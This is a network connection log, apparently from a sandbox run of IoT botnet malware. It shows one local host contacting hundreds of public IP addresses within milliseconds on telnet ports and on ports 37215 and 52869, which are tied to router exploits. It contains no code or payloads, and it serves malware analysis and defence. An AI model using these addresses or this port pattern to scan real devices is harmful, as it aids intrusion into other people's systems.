Oct 6, 2024 20:00:45.489356041 CEST	50952	23	192.168.2.15	189.9.31.144
Oct 6, 2024 20:00:45.489356041 CEST	50952	2323	192.168.2.15	9.53.199.248
Oct 6, 2024 20:00:45.489367962 CEST	50952	23	192.168.2.15	146.36.84.152
Oct 6, 2024 20:00:45.489372969 CEST	50952	23	192.168.2.15	63.52.69.116
Oct 6, 2024 20:00:45.489377975 CEST	50952	23	192.168.2.15	23.8.245.201
Oct 6, 2024 20:00:45.489377975 CEST	50952	23	192.168.2.15	160.112.153.171
Oct 6, 2024 20:00:45.489378929 CEST	50952	23	192.168.2.15	124.198.114.29
Oct 6, 2024 20:00:45.489378929 CEST	50952	23	192.168.2.15	87.235.162.220
Oct 6, 2024 20:00:45.489379883 CEST	50952	23	192.168.2.15	206.168.221.137
Oct 6, 2024 20:00:45.489490032 CEST	37215	49416	197.181.167.144	192.168.2.15
Oct 6, 2024 20:00:45.489504099 CEST	37215	49416	41.133.181.143	192.168.2.15
Oct 6, 2024 20:00:45.489512920 CEST	37215	49416	41.87.143.194	192.168.2.15
Oct 6, 2024 20:00:45.489516020 CEST	37215	49416	156.162.113.37	192.168.2.15
Oct 6, 2024 20:00:45.489525080 CEST	37215	49416	156.205.249.76	192.168.2.15
Oct 6, 2024 20:00:45.489532948 CEST	49416	37215	192.168.2.15	197.181.167.144
Oct 6, 2024 20:00:45.489536047 CEST	37215	49416	197.80.229.200	192.168.2.15
Oct 6, 2024 20:00:45.489542007 CEST	49416	37215	192.168.2.15	41.87.143.194
Oct 6, 2024 20:00:45.489546061 CEST	37215	49416	156.135.63.95	192.168.2.15
Oct 6, 2024 20:00:45.489551067 CEST	49416	37215	192.168.2.15	41.133.181.143
Oct 6, 2024 20:00:45.489551067 CEST	49416	37215	192.168.2.15	156.162.113.37
Oct 6, 2024 20:00:45.489552975 CEST	49416	37215	192.168.2.15	156.205.249.76
Oct 6, 2024 20:00:45.489563942 CEST	37215	49416	156.39.97.211	192.168.2.15
Oct 6, 2024 20:00:45.489573002 CEST	49416	37215	192.168.2.15	197.80.229.200
Oct 6, 2024 20:00:45.489573002 CEST	49416	37215	192.168.2.15	156.135.63.95
Oct 6, 2024 20:00:45.489573956 CEST	37215	49416	197.194.12.8	192.168.2.15
Oct 6, 2024 20:00:45.489583015 CEST	37215	49416	41.246.249.249	192.168.2.15
Oct 6, 2024 20:00:45.489590883 CEST	37215	49416	156.5.117.57	192.168.2.15
Oct 6, 2024 20:00:45.489594936 CEST	49416	37215	192.168.2.15	156.39.97.211
Oct 6, 2024 20:00:45.489614010 CEST	49416	37215	192.168.2.15	197.194.12.8
Oct 6, 2024 20:00:45.489614010 CEST	49416	37215	192.168.2.15	156.5.117.57
Oct 6, 2024 20:00:45.489614964 CEST	49416	37215	192.168.2.15	41.246.249.249
Oct 6, 2024 20:00:45.489614964 CEST	37215	49416	197.220.57.96	192.168.2.15
Oct 6, 2024 20:00:45.489625931 CEST	37215	49416	156.163.18.10	192.168.2.15
Oct 6, 2024 20:00:45.489634991 CEST	37215	49416	41.96.40.141	192.168.2.15
Oct 6, 2024 20:00:45.489644051 CEST	37215	49416	156.78.114.171	192.168.2.15
Oct 6, 2024 20:00:45.489650965 CEST	37215	49416	197.244.133.100	192.168.2.15
Oct 6, 2024 20:00:45.489655018 CEST	37215	49416	197.45.210.105	192.168.2.15
Oct 6, 2024 20:00:45.489658117 CEST	49416	37215	192.168.2.15	197.220.57.96
Oct 6, 2024 20:00:45.489659071 CEST	37215	49416	197.251.115.107	192.168.2.15
Oct 6, 2024 20:00:45.489664078 CEST	49416	37215	192.168.2.15	156.163.18.10
Oct 6, 2024 20:00:45.489664078 CEST	49416	37215	192.168.2.15	41.96.40.141
Oct 6, 2024 20:00:45.489667892 CEST	37215	49416	156.229.187.167	192.168.2.15
Oct 6, 2024 20:00:45.489675999 CEST	37215	49416	41.124.11.130	192.168.2.15
Oct 6, 2024 20:00:45.489681959 CEST	49416	37215	192.168.2.15	156.78.114.171
Oct 6, 2024 20:00:45.489681959 CEST	49416	37215	192.168.2.15	197.45.210.105
Oct 6, 2024 20:00:45.489686966 CEST	37215	49416	156.104.248.55	192.168.2.15
Oct 6, 2024 20:00:45.489694118 CEST	49416	37215	192.168.2.15	197.244.133.100
Oct 6, 2024 20:00:45.489694118 CEST	49416	37215	192.168.2.15	197.251.115.107
Oct 6, 2024 20:00:45.489694118 CEST	49416	37215	192.168.2.15	156.229.187.167
Oct 6, 2024 20:00:45.489696026 CEST	37215	49416	156.233.151.166	192.168.2.15
Oct 6, 2024 20:00:45.489703894 CEST	37215	49416	197.63.205.167	192.168.2.15
Oct 6, 2024 20:00:45.489712000 CEST	37215	49416	197.64.166.192	192.168.2.15
Oct 6, 2024 20:00:45.489717960 CEST	49416	37215	192.168.2.15	41.124.11.130
Oct 6, 2024 20:00:45.489727974 CEST	49416	37215	192.168.2.15	156.104.248.55
Oct 6, 2024 20:00:45.489727974 CEST	49416	37215	192.168.2.15	156.233.151.166
Oct 6, 2024 20:00:45.489727974 CEST	49416	37215	192.168.2.15	197.63.205.167
Oct 6, 2024 20:00:45.489748955 CEST	49416	37215	192.168.2.15	197.64.166.192
Oct 6, 2024 20:00:45.490055084 CEST	37215	49850	41.218.74.136	192.168.2.15
Oct 6, 2024 20:00:45.490066051 CEST	37215	60050	41.150.0.113	192.168.2.15
Oct 6, 2024 20:00:45.490073919 CEST	37215	49448	197.240.195.4	192.168.2.15
Oct 6, 2024 20:00:45.490082979 CEST	37215	34404	197.189.46.106	192.168.2.15
Oct 6, 2024 20:00:45.490107059 CEST	60050	37215	192.168.2.15	41.150.0.113
Oct 6, 2024 20:00:45.490107059 CEST	49850	37215	192.168.2.15	41.218.74.136
Oct 6, 2024 20:00:45.490107059 CEST	49448	37215	192.168.2.15	197.240.195.4
Oct 6, 2024 20:00:45.490118980 CEST	34404	37215	192.168.2.15	197.189.46.106
Oct 6, 2024 20:00:45.490135908 CEST	53674	37215	192.168.2.15	156.28.135.157
Oct 6, 2024 20:00:45.490252018 CEST	52486	52869	192.168.2.15	156.209.222.208
Oct 6, 2024 20:00:45.490386963 CEST	37215	58802	41.128.20.63	192.168.2.15
Oct 6, 2024 20:00:45.490426064 CEST	58802	37215	192.168.2.15	41.128.20.63
Oct 6, 2024 20:00:45.490870953 CEST	52869	49160	156.157.5.228	192.168.2.15
Oct 6, 2024 20:00:45.490906954 CEST	49160	52869	192.168.2.15	156.157.5.228
Oct 6, 2024 20:00:45.490999937 CEST	52869	49160	41.43.135.150	192.168.2.15
Oct 6, 2024 20:00:45.491012096 CEST	52869	49160	41.215.136.194	192.168.2.15
Oct 6, 2024 20:00:45.491019964 CEST	52869	49160	41.165.76.176	192.168.2.15
Oct 6, 2024 20:00:45.491028070 CEST	52869	49160	156.11.61.117	192.168.2.15
Oct 6, 2024 20:00:45.491044044 CEST	49160	52869	192.168.2.15	41.43.135.150
Oct 6, 2024 20:00:45.491049051 CEST	49160	52869	192.168.2.15	41.215.136.194
Oct 6, 2024 20:00:45.491049051 CEST	49160	52869	192.168.2.15	41.165.76.176
Oct 6, 2024 20:00:45.491080999 CEST	49160	52869	192.168.2.15	156.11.61.117
Oct 6, 2024 20:00:45.491149902 CEST	37215	58166	197.192.233.157	192.168.2.15
Oct 6, 2024 20:00:45.491161108 CEST	52869	49160	41.252.198.69	192.168.2.15
Oct 6, 2024 20:00:45.491169930 CEST	52869	49160	41.161.1.50	192.168.2.15
Oct 6, 2024 20:00:45.491182089 CEST	52869	49160	156.153.210.19	192.168.2.15
Oct 6, 2024 20:00:45.491185904 CEST	58166	37215	192.168.2.15	197.192.233.157
Oct 6, 2024 20:00:45.491190910 CEST	52869	49160	156.45.29.131	192.168.2.15
Oct 6, 2024 20:00:45.491194010 CEST	49160	52869	192.168.2.15	41.252.198.69
Oct 6, 2024 20:00:45.491208076 CEST	49160	52869	192.168.2.15	41.161.1.50
Oct 6, 2024 20:00:45.491211891 CEST	49160	52869	192.168.2.15	156.153.210.19
Oct 6, 2024 20:00:45.491221905 CEST	49160	52869	192.168.2.15	156.45.29.131
Oct 6, 2024 20:00:45.491260052 CEST	56060	37215	192.168.2.15	156.91.147.218
Oct 6, 2024 20:00:45.491908073 CEST	52869	49160	197.219.144.29	192.168.2.15
Oct 6, 2024 20:00:45.491918087 CEST	52869	49160	197.200.216.74	192.168.2.15
Oct 6, 2024 20:00:45.491926908 CEST	52869	49160	41.227.42.194	192.168.2.15
Oct 6, 2024 20:00:45.491935015 CEST	52869	49160	156.111.107.75	192.168.2.15
Oct 6, 2024 20:00:45.491942883 CEST	49160	52869	192.168.2.15	197.219.144.29
Oct 6, 2024 20:00:45.491944075 CEST	49160	52869	192.168.2.15	197.200.216.74
Oct 6, 2024 20:00:45.491944075 CEST	52869	49160	156.181.254.86	192.168.2.15
Oct 6, 2024 20:00:45.491954088 CEST	52869	49160	156.24.241.234	192.168.2.15
Oct 6, 2024 20:00:45.491957903 CEST	49160	52869	192.168.2.15	41.227.42.194
Oct 6, 2024 20:00:45.491964102 CEST	52869	49160	156.88.63.158	192.168.2.15
Oct 6, 2024 20:00:45.491964102 CEST	49160	52869	192.168.2.15	156.111.107.75
Oct 6, 2024 20:00:45.491972923 CEST	52869	49160	41.203.15.64	192.168.2.15
Oct 6, 2024 20:00:45.491980076 CEST	49160	52869	192.168.2.15	156.181.254.86
Oct 6, 2024 20:00:45.491981983 CEST	52869	49160	41.104.210.43	192.168.2.15
Oct 6, 2024 20:00:45.491991043 CEST	49160	52869	192.168.2.15	156.88.63.158
Oct 6, 2024 20:00:45.491991997 CEST	52869	49160	156.164.203.24	192.168.2.15
Oct 6, 2024 20:00:45.491992950 CEST	49160	52869	192.168.2.15	156.24.241.234
Oct 6, 2024 20:00:45.492006063 CEST	49160	52869	192.168.2.15	41.203.15.64
Oct 6, 2024 20:00:45.492010117 CEST	49160	52869	192.168.2.15	41.104.210.43
Oct 6, 2024 20:00:45.492011070 CEST	52869	49160	197.242.35.209	192.168.2.15
Oct 6, 2024 20:00:45.492022038 CEST	52869	49160	197.3.53.139	192.168.2.15
Oct 6, 2024 20:00:45.492028952 CEST	49160	52869	192.168.2.15	156.164.203.24
Oct 6, 2024 20:00:45.492029905 CEST	52869	49160	197.193.36.133	192.168.2.15
Oct 6, 2024 20:00:45.492039919 CEST	52869	49160	197.45.87.157	192.168.2.15
Oct 6, 2024 20:00:45.492048979 CEST	52869	49160	156.35.37.184	192.168.2.15
Oct 6, 2024 20:00:45.492049932 CEST	49160	52869	192.168.2.15	197.242.35.209
Oct 6, 2024 20:00:45.492057085 CEST	49160	52869	192.168.2.15	197.3.53.139
Oct 6, 2024 20:00:45.492058992 CEST	52869	49160	41.143.79.100	192.168.2.15
Oct 6, 2024 20:00:45.492059946 CEST	49160	52869	192.168.2.15	197.193.36.133
Oct 6, 2024 20:00:45.492068052 CEST	52869	49160	41.178.186.198	192.168.2.15
Oct 6, 2024 20:00:45.492078066 CEST	52869	49160	156.111.55.169	192.168.2.15
Oct 6, 2024 20:00:45.492079973 CEST	49160	52869	192.168.2.15	197.45.87.157
Oct 6, 2024 20:00:45.492082119 CEST	49160	52869	192.168.2.15	156.35.37.184
Oct 6, 2024 20:00:45.492086887 CEST	52869	49160	41.250.16.56	192.168.2.15
Oct 6, 2024 20:00:45.492089987 CEST	49160	52869	192.168.2.15	41.143.79.100
Oct 6, 2024 20:00:45.492096901 CEST	52869	49160	197.125.102.15	192.168.2.15
Oct 6, 2024 20:00:45.492100954 CEST	49160	52869	192.168.2.15	41.178.186.198
Oct 6, 2024 20:00:45.492105007 CEST	49160	52869	192.168.2.15	156.111.55.169
Oct 6, 2024 20:00:45.492105961 CEST	52869	49160	156.133.64.82	192.168.2.15
Oct 6, 2024 20:00:45.492122889 CEST	52869	49160	41.224.69.144	192.168.2.15
Oct 6, 2024 20:00:45.492125034 CEST	49160	52869	192.168.2.15	41.250.16.56
Oct 6, 2024 20:00:45.492131948 CEST	52869	49160	41.16.167.107	192.168.2.15
Oct 6, 2024 20:00:45.492141962 CEST	49160	52869	192.168.2.15	197.125.102.15
Oct 6, 2024 20:00:45.492141962 CEST	49160	52869	192.168.2.15	156.133.64.82
Oct 6, 2024 20:00:45.492142916 CEST	52869	49160	197.91.252.120	192.168.2.15
Oct 6, 2024 20:00:45.492152929 CEST	52869	49160	41.195.70.15	192.168.2.15
Oct 6, 2024 20:00:45.492152929 CEST	49160	52869	192.168.2.15	41.224.69.144
Oct 6, 2024 20:00:45.492160082 CEST	49160	52869	192.168.2.15	41.16.167.107
Oct 6, 2024 20:00:45.492161989 CEST	52869	49160	197.77.40.181	192.168.2.15
Oct 6, 2024 20:00:45.492171049 CEST	52869	49160	41.212.239.80	192.168.2.15
Oct 6, 2024 20:00:45.492176056 CEST	49160	52869	192.168.2.15	197.91.252.120
Oct 6, 2024 20:00:45.492183924 CEST	49160	52869	192.168.2.15	41.195.70.15
Oct 6, 2024 20:00:45.492193937 CEST	49160	52869	192.168.2.15	197.77.40.181
Oct 6, 2024 20:00:45.492212057 CEST	49160	52869	192.168.2.15	41.212.239.80
Oct 6, 2024 20:00:45.492254019 CEST	52869	49160	156.139.33.70	192.168.2.15
Oct 6, 2024 20:00:45.492261887 CEST	52869	49160	197.245.121.46	192.168.2.15
Oct 6, 2024 20:00:45.492270947 CEST	52869	49160	156.212.214.69	192.168.2.15
Oct 6, 2024 20:00:45.492280006 CEST	52869	49160	197.115.106.66	192.168.2.15
Oct 6, 2024 20:00:45.492289066 CEST	52869	49160	197.191.23.188	192.168.2.15
Oct 6, 2024 20:00:45.492291927 CEST	49160	52869	192.168.2.15	156.139.33.70
Oct 6, 2024 20:00:45.492292881 CEST	49160	52869	192.168.2.15	197.245.121.46
Oct 6, 2024 20:00:45.492296934 CEST	49160	52869	192.168.2.15	156.212.214.69
Oct 6, 2024 20:00:45.492297888 CEST	52869	49160	156.60.39.234	192.168.2.15
Oct 6, 2024 20:00:45.492306948 CEST	52869	49160	197.228.160.144	192.168.2.15
Oct 6, 2024 20:00:45.492316008 CEST	52869	49160	156.154.34.108	192.168.2.15
Oct 6, 2024 20:00:45.492317915 CEST	49160	52869	192.168.2.15	197.191.23.188
Oct 6, 2024 20:00:45.492321014 CEST	49160	52869	192.168.2.15	197.115.106.66
Oct 6, 2024 20:00:45.492331028 CEST	49160	52869	192.168.2.15	156.60.39.234
Oct 6, 2024 20:00:45.492342949 CEST	49160	52869	192.168.2.15	197.228.160.144
Oct 6, 2024 20:00:45.492348909 CEST	52869	49160	197.138.198.66	192.168.2.15
Oct 6, 2024 20:00:45.492358923 CEST	52869	49160	197.141.103.20	192.168.2.15
Oct 6, 2024 20:00:45.492367029 CEST	49160	52869	192.168.2.15	156.154.34.108
Oct 6, 2024 20:00:45.492367983 CEST	52869	49160	41.209.179.0	192.168.2.15
Oct 6, 2024 20:00:45.492372036 CEST	52869	49160	197.238.4.206	192.168.2.15
Oct 6, 2024 20:00:45.492381096 CEST	52869	49160	41.69.75.38	192.168.2.15
Oct 6, 2024 20:00:45.492383957 CEST	49160	52869	192.168.2.15	197.138.198.66
Oct 6, 2024 20:00:45.492389917 CEST	52869	49160	197.144.250.13	192.168.2.15
Oct 6, 2024 20:00:45.492394924 CEST	49160	52869	192.168.2.15	197.141.103.20
Oct 6, 2024 20:00:45.492398977 CEST	52869	49160	41.207.195.117	192.168.2.15
Oct 6, 2024 20:00:45.492405891 CEST	49160	52869	192.168.2.15	41.69.75.38
Oct 6, 2024 20:00:45.492408037 CEST	52869	49160	41.117.159.218	192.168.2.15
Oct 6, 2024 20:00:45.492408991 CEST	49160	52869	192.168.2.15	197.238.4.206
Oct 6, 2024 20:00:45.492409945 CEST	49160	52869	192.168.2.15	41.209.179.0
Oct 6, 2024 20:00:45.492409945 CEST	49160	52869	192.168.2.15	197.144.250.13
Oct 6, 2024 20:00:45.492418051 CEST	52869	49160	41.28.162.42	192.168.2.15
Oct 6, 2024 20:00:45.492427111 CEST	52869	49160	41.1.79.20	192.168.2.15
Oct 6, 2024 20:00:45.492429972 CEST	49160	52869	192.168.2.15	41.117.159.218
Oct 6, 2024 20:00:45.492434978 CEST	52869	49160	156.202.8.169	192.168.2.15
Oct 6, 2024 20:00:45.492436886 CEST	49160	52869	192.168.2.15	41.207.195.117
Oct 6, 2024 20:00:45.492444992 CEST	52869	49160	41.133.17.225	192.168.2.15
Oct 6, 2024 20:00:45.492453098 CEST	37136	37215	192.168.2.15	197.107.116.23
Oct 6, 2024 20:00:45.492459059 CEST	49160	52869	192.168.2.15	41.28.162.42
Oct 6, 2024 20:00:45.492463112 CEST	49160	52869	192.168.2.15	41.1.79.20
Oct 6, 2024 20:00:45.492479086 CEST	49160	52869	192.168.2.15	41.133.17.225
Oct 6, 2024 20:00:45.492497921 CEST	49160	52869	192.168.2.15	156.202.8.169
Oct 6, 2024 20:00:45.492510080 CEST	52869	49160	156.114.27.21	192.168.2.15
Oct 6, 2024 20:00:45.492551088 CEST	49160	52869	192.168.2.15	156.114.27.21
Oct 6, 2024 20:00:45.492594957 CEST	52228	52869	192.168.2.15	197.248.131.4
Oct 6, 2024 20:00:45.492969990 CEST	52869	49160	197.80.80.131	192.168.2.15
Oct 6, 2024 20:00:45.492979050 CEST	52869	49160	41.79.165.76	192.168.2.15
Oct 6, 2024 20:00:45.492989063 CEST	52869	49160	197.143.15.247	192.168.2.15
Oct 6, 2024 20:00:45.492997885 CEST	52869	49160	156.169.242.79	192.168.2.15
Oct 6, 2024 20:00:45.493006945 CEST	52869	49160	156.66.51.107	192.168.2.15
Oct 6, 2024 20:00:45.493010044 CEST	49160	52869	192.168.2.15	197.80.80.131
Oct 6, 2024 20:00:45.493011951 CEST	49160	52869	192.168.2.15	41.79.165.76
Oct 6, 2024 20:00:45.493014097 CEST	52869	49160	41.123.65.196	192.168.2.15
Oct 6, 2024 20:00:45.493033886 CEST	49160	52869	192.168.2.15	197.143.15.247
Oct 6, 2024 20:00:45.493033886 CEST	49160	52869	192.168.2.15	156.169.242.79
Oct 6, 2024 20:00:45.493037939 CEST	49160	52869	192.168.2.15	41.123.65.196
Oct 6, 2024 20:00:45.493053913 CEST	49160	52869	192.168.2.15	156.66.51.107
Oct 6, 2024 20:00:45.493119001 CEST	52869	49160	41.27.174.71	192.168.2.15
Oct 6, 2024 20:00:45.493128061 CEST	52869	49160	156.152.56.95	192.168.2.15
Oct 6, 2024 20:00:45.493135929 CEST	52869	49160	197.97.116.240	192.168.2.15
Oct 6, 2024 20:00:45.493144035 CEST	52869	49160	197.86.164.40	192.168.2.15
Oct 6, 2024 20:00:45.493158102 CEST	49160	52869	192.168.2.15	41.27.174.71
Oct 6, 2024 20:00:45.493166924 CEST	49160	52869	192.168.2.15	197.97.116.240
Oct 6, 2024 20:00:45.493174076 CEST	49160	52869	192.168.2.15	156.152.56.95
Oct 6, 2024 20:00:45.493181944 CEST	49160	52869	192.168.2.15	197.86.164.40
Oct 6, 2024 20:00:45.493226051 CEST	52869	49160	156.249.73.118	192.168.2.15
Oct 6, 2024 20:00:45.493236065 CEST	52869	49160	156.103.254.156	192.168.2.15
Oct 6, 2024 20:00:45.493243933 CEST	52869	49160	41.158.47.216	192.168.2.15
Oct 6, 2024 20:00:45.493252993 CEST	52869	49160	156.120.48.212	192.168.2.15
Oct 6, 2024 20:00:45.493256092 CEST	49160	52869	192.168.2.15	156.249.73.118
Oct 6, 2024 20:00:45.493263960 CEST	52869	49160	156.75.168.160	192.168.2.15
Oct 6, 2024 20:00:45.493273973 CEST	52869	49160	41.83.135.227	192.168.2.15
Oct 6, 2024 20:00:45.493283033 CEST	49160	52869	192.168.2.15	41.158.47.216
Oct 6, 2024 20:00:45.493284941 CEST	49160	52869	192.168.2.15	156.103.254.156
Oct 6, 2024 20:00:45.493288994 CEST	52869	49160	41.147.46.7	192.168.2.15
Oct 6, 2024 20:00:45.493292093 CEST	49160	52869	192.168.2.15	156.120.48.212
Oct 6, 2024 20:00:45.493293047 CEST	49160	52869	192.168.2.15	156.75.168.160
Oct 6, 2024 20:00:45.493299961 CEST	52869	49160	156.150.228.53	192.168.2.15
Oct 6, 2024 20:00:45.493309021 CEST	52869	49160	156.99.245.207	192.168.2.15
Oct 6, 2024 20:00:45.493309021 CEST	49160	52869	192.168.2.15	41.83.135.227
Oct 6, 2024 20:00:45.493318081 CEST	49160	52869	192.168.2.15	41.147.46.7
Oct 6, 2024 20:00:45.493318081 CEST	52869	49160	197.231.158.245	192.168.2.15
Oct 6, 2024 20:00:45.493326902 CEST	52869	49160	41.176.144.86	192.168.2.15
Oct 6, 2024 20:00:45.493328094 CEST	49160	52869	192.168.2.15	156.150.228.53
Oct 6, 2024 20:00:45.493335009 CEST	52869	49160	197.56.179.17	192.168.2.15
Oct 6, 2024 20:00:45.493343115 CEST	49160	52869	192.168.2.15	156.99.245.207
Oct 6, 2024 20:00:45.493344069 CEST	52869	49160	156.164.29.198	192.168.2.15
Oct 6, 2024 20:00:45.493350029 CEST	49160	52869	192.168.2.15	197.231.158.245
Oct 6, 2024 20:00:45.493356943 CEST	52869	49160	156.162.202.0	192.168.2.15
Oct 6, 2024 20:00:45.493366003 CEST	52869	49160	41.72.146.12	192.168.2.15
Oct 6, 2024 20:00:45.493374109 CEST	49160	52869	192.168.2.15	197.56.179.17
Oct 6, 2024 20:00:45.493375063 CEST	52869	49160	197.21.73.221	192.168.2.15
Oct 6, 2024 20:00:45.493377924 CEST	49160	52869	192.168.2.15	41.176.144.86
Oct 6, 2024 20:00:45.493377924 CEST	49160	52869	192.168.2.15	156.164.29.198
Oct 6, 2024 20:00:45.493383884 CEST	52869	49160	41.210.125.132	192.168.2.15
Oct 6, 2024 20:00:45.493392944 CEST	52869	49160	41.38.60.209	192.168.2.15
Oct 6, 2024 20:00:45.493413925 CEST	49160	52869	192.168.2.15	197.21.73.221
Oct 6, 2024 20:00:45.493424892 CEST	49160	52869	192.168.2.15	41.72.146.12
Oct 6, 2024 20:00:45.493424892 CEST	49160	52869	192.168.2.15	41.210.125.132
Oct 6, 2024 20:00:45.493427038 CEST	49160	52869	192.168.2.15	156.162.202.0
Oct 6, 2024 20:00:45.493428946 CEST	49160	52869	192.168.2.15	41.38.60.209
Oct 6, 2024 20:00:45.493582010 CEST	36682	37215	192.168.2.15	197.229.12.237
Oct 6, 2024 20:00:45.493927002 CEST	52869	49160	41.35.219.44	192.168.2.15
Oct 6, 2024 20:00:45.493936062 CEST	52869	49160	41.228.74.118	192.168.2.15
Oct 6, 2024 20:00:45.493944883 CEST	52869	49160	156.80.85.102	192.168.2.15
Oct 6, 2024 20:00:45.493953943 CEST	52869	49160	41.16.47.160	192.168.2.15
Oct 6, 2024 20:00:45.493964911 CEST	49160	52869	192.168.2.15	41.35.219.44
Oct 6, 2024 20:00:45.493972063 CEST	49160	52869	192.168.2.15	41.228.74.118
Oct 6, 2024 20:00:45.493974924 CEST	49160	52869	192.168.2.15	156.80.85.102
Oct 6, 2024 20:00:45.493985891 CEST	49160	52869	192.168.2.15	41.16.47.160
Oct 6, 2024 20:00:45.494060040 CEST	52869	49160	156.192.18.165	192.168.2.15
Oct 6, 2024 20:00:45.494069099 CEST	52869	49160	41.11.137.198	192.168.2.15
Oct 6, 2024 20:00:45.494076967 CEST	52869	49160	197.101.73.162	192.168.2.15
Oct 6, 2024 20:00:45.494085073 CEST	52869	49160	197.42.238.63	192.168.2.15
Oct 6, 2024 20:00:45.494093895 CEST	52869	49160	156.163.92.170	192.168.2.15
Oct 6, 2024 20:00:45.494093895 CEST	49160	52869	192.168.2.15	156.192.18.165
Oct 6, 2024 20:00:45.494102001 CEST	52869	49160	156.88.110.62	192.168.2.15
Oct 6, 2024 20:00:45.494116068 CEST	49160	52869	192.168.2.15	197.101.73.162
Oct 6, 2024 20:00:45.494116068 CEST	49160	52869	192.168.2.15	41.11.137.198
Oct 6, 2024 20:00:45.494116068 CEST	49160	52869	192.168.2.15	197.42.238.63
Oct 6, 2024 20:00:45.494116068 CEST	49160	52869	192.168.2.15	156.163.92.170
Oct 6, 2024 20:00:45.494170904 CEST	52869	49160	41.181.162.75	192.168.2.15
Oct 6, 2024 20:00:45.494179964 CEST	52869	49160	156.26.35.137	192.168.2.15
Oct 6, 2024 20:00:45.494188070 CEST	52869	49160	197.19.236.127	192.168.2.15
Oct 6, 2024 20:00:45.494195938 CEST	52869	49160	197.144.176.167	192.168.2.15
Oct 6, 2024 20:00:45.494204998 CEST	52869	49160	156.238.32.237	192.168.2.15
Oct 6, 2024 20:00:45.494208097 CEST	49160	52869	192.168.2.15	41.181.162.75
Oct 6, 2024 20:00:45.494211912 CEST	49160	52869	192.168.2.15	156.88.110.62
Oct 6, 2024 20:00:45.494211912 CEST	49160	52869	192.168.2.15	156.26.35.137
Oct 6, 2024 20:00:45.494214058 CEST	52869	49160	197.25.22.151	192.168.2.15
Oct 6, 2024 20:00:45.494221926 CEST	52869	49160	156.254.255.193	192.168.2.15
Oct 6, 2024 20:00:45.494227886 CEST	49160	52869	192.168.2.15	197.144.176.167
Oct 6, 2024 20:00:45.494227886 CEST	49160	52869	192.168.2.15	156.238.32.237
Oct 6, 2024 20:00:45.494230032 CEST	52869	49160	197.252.5.201	192.168.2.15
Oct 6, 2024 20:00:45.494250059 CEST	49160	52869	192.168.2.15	197.25.22.151
Oct 6, 2024 20:00:45.494254112 CEST	49160	52869	192.168.2.15	197.19.236.127
Oct 6, 2024 20:00:45.494254112 CEST	49160	52869	192.168.2.15	156.254.255.193
Oct 6, 2024 20:00:45.494254112 CEST	49160	52869	192.168.2.15	197.252.5.201
Oct 6, 2024 20:00:45.494273901 CEST	52869	49160	41.160.61.228	192.168.2.15
Oct 6, 2024 20:00:45.494282961 CEST	52869	49160	156.71.22.143	192.168.2.15
Oct 6, 2024 20:00:45.494291067 CEST	52869	49160	197.42.220.17	192.168.2.15
Oct 6, 2024 20:00:45.494298935 CEST	52869	49160	197.146.80.119	192.168.2.15
Oct 6, 2024 20:00:45.494307995 CEST	52869	49160	41.127.71.227	192.168.2.15
Oct 6, 2024 20:00:45.494314909 CEST	49160	52869	192.168.2.15	197.42.220.17
Oct 6, 2024 20:00:45.494314909 CEST	49160	52869	192.168.2.15	41.160.61.228
Oct 6, 2024 20:00:45.494314909 CEST	49160	52869	192.168.2.15	156.71.22.143
Oct 6, 2024 20:00:45.494317055 CEST	52869	49160	41.137.74.40	192.168.2.15
Oct 6, 2024 20:00:45.494326115 CEST	52869	49160	156.161.85.243	192.168.2.15
Oct 6, 2024 20:00:45.494330883 CEST	49160	52869	192.168.2.15	197.146.80.119
Oct 6, 2024 20:00:45.494337082 CEST	52869	49160	41.31.39.34	192.168.2.15
Oct 6, 2024 20:00:45.494342089 CEST	49160	52869	192.168.2.15	41.127.71.227
Oct 6, 2024 20:00:45.494345903 CEST	52869	49160	41.150.172.135	192.168.2.15
Oct 6, 2024 20:00:45.494353056 CEST	49160	52869	192.168.2.15	41.137.74.40
Oct 6, 2024 20:00:45.494354010 CEST	52869	49160	41.16.43.133	192.168.2.15
Oct 6, 2024 20:00:45.494358063 CEST	49160	52869	192.168.2.15	156.161.85.243
Oct 6, 2024 20:00:45.494365931 CEST	49160	52869	192.168.2.15	41.31.39.34
Oct 6, 2024 20:00:45.494374990 CEST	49160	52869	192.168.2.15	41.150.172.135
Oct 6, 2024 20:00:45.494378090 CEST	49160	52869	192.168.2.15	41.16.43.133
Oct 6, 2024 20:00:45.494739056 CEST	52869	49160	41.221.165.60	192.168.2.15
Oct 6, 2024 20:00:45.494748116 CEST	52869	49160	197.203.137.31	192.168.2.15
Oct 6, 2024 20:00:45.494757891 CEST	52869	49160	197.127.175.27	192.168.2.15
Oct 6, 2024 20:00:45.494766951 CEST	52869	49160	41.166.48.194	192.168.2.15
Oct 6, 2024 20:00:45.494771957 CEST	49160	52869	192.168.2.15	41.221.165.60
Oct 6, 2024 20:00:45.494779110 CEST	49160	52869	192.168.2.15	197.203.137.31
Oct 6, 2024 20:00:45.494791985 CEST	49160	52869	192.168.2.15	197.127.175.27
Oct 6, 2024 20:00:45.494822979 CEST	49160	52869	192.168.2.15	41.166.48.194
Oct 6, 2024 20:00:45.494853973 CEST	52869	49160	41.160.230.213	192.168.2.15
Oct 6, 2024 20:00:45.494863033 CEST	52869	49160	41.123.49.104	192.168.2.15
Oct 6, 2024 20:00:45.494872093 CEST	52869	49160	156.181.99.87	192.168.2.15
Oct 6, 2024 20:00:45.494889975 CEST	52869	49160	197.117.251.158	192.168.2.15
Oct 6, 2024 20:00:45.494890928 CEST	49160	52869	192.168.2.15	41.160.230.213
Oct 6, 2024 20:00:45.494898081 CEST	52869	49160	197.57.71.91	192.168.2.15
Oct 6, 2024 20:00:45.494906902 CEST	52869	49160	41.117.207.98	192.168.2.15
Oct 6, 2024 20:00:45.494911909 CEST	49160	52869	192.168.2.15	41.123.49.104
Oct 6, 2024 20:00:45.494911909 CEST	49160	52869	192.168.2.15	156.181.99.87
Oct 6, 2024 20:00:45.494920015 CEST	49160	52869	192.168.2.15	197.57.71.91
Oct 6, 2024 20:00:45.494932890 CEST	51654	37215	192.168.2.15	41.58.165.93
Oct 6, 2024 20:00:45.494946003 CEST	49160	52869	192.168.2.15	197.117.251.158
Oct 6, 2024 20:00:45.494957924 CEST	49160	52869	192.168.2.15	41.117.207.98
Oct 6, 2024 20:00:45.494990110 CEST	52869	49160	197.87.60.42	192.168.2.15
Oct 6, 2024 20:00:45.494999886 CEST	52869	49160	197.105.30.43	192.168.2.15
Oct 6, 2024 20:00:45.495002985 CEST	52869	49160	41.23.163.48	192.168.2.15
Oct 6, 2024 20:00:45.495012045 CEST	52869	49160	156.122.238.205	192.168.2.15
